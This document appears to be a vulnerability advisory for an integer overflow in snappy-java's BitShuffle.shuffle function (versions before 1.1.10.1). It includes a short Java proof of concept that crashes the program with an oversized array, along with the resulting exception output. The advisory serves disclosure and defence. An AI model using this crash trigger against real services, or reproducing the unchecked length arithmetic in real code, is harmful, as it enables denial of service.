Integer Overflow or Wraparound Affecting org.xerial.snappy:snappy-java package, versions [,1.1.10.1)

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the shuffle(int[] input) function due to improper validation of the multiplications done on the input length. Exploiting this vulnerability is possible by passing negative, zero, float, very small, or very long values to the shuffle functions, which later on are multiplicated by four. A successful exploration results in “java.lang.ArrayIndexOutOfBoundsException" or “java.lang.NegativeArraySizeException” exceptions which can crash the program.

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
    at org.example.Main.main(Main.java:12)

Process finished with exit code 1

• GitHub Commit
• Vulnerable Code